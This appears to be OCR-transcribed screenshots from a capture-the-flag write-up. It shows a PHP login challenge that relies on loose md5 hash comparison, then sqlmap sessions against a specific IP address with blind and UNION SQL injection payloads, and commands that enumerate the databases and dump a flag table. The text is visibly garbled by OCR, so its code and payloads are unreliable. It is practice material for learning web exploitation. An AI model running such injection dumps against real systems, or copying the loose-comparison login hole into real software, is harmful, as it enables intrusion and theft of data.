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highlight_file(__FILE_);

if (isset($_POST['username'])) && isset($_POST['password)) {
$logined = false;

Susername = $ POST['username];

$password = $ POST['password?;

if (Ictype_alpha($username)) { #1

$logined = false;

}

if (lis_numeric($password)) { #2

$logined = false;

}

if (md5($username) == md5($password) && $username != $password) { #3
$logined = true;

}

if ($logined) {

echo "login succeed! and flag is flag{x0coo0oc000cd”;
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}else {

echo "login failed!";
}

}
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[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility
to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage c
aused by this program

[*] starting @ @@:48:25 [2@819-11-38f

[ ] [1NF0] resuming back-end DBMS 'mysql
[ ] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.8.12 AND time-based blind (query SLEEP)
Payload: id=3 AND (SELECT 3347 FROM (SELECT(SLEEP(5)))X1ZA)

Type: UNION gquery

Title: Generic UNION query (NULL) - 1 column

Payload: id=3 UNION ALL SELECT CDNCAT(BX?TGaGbGZ??,@x59?94d73??6a6547?47373686C486f46515d676€5952?46856?071?5?853514b525?445346?6456
5,@!?1?8?671?1)-- LNZX

[ ] [INFO]

back-end DBMS: MySQL >= 5.8.12

BRI\ T H a7 2 2B W BT E B =
python .\sqlmap.py -u "http://120.55.43.255:11777/search.php?id=1" --dbs

[ ] [ INFO]

back-end DBMS: MySQL >= 5.8.12

[ ] [1nF0] fetching database names
available databases [4]:

[*] etf
[*] information_schema

[*] mysql
[*] performance_schema
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python \sqlmap.py -u "http://120.55.43.255:11777/search.php?id=1" -D ctf --tables
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python sqglmap.py -u "http://120.55.43.255:11777/search.php?id=1" -D ctf -T flag --dump

Database: ctf
Table: flag
[1 entry]
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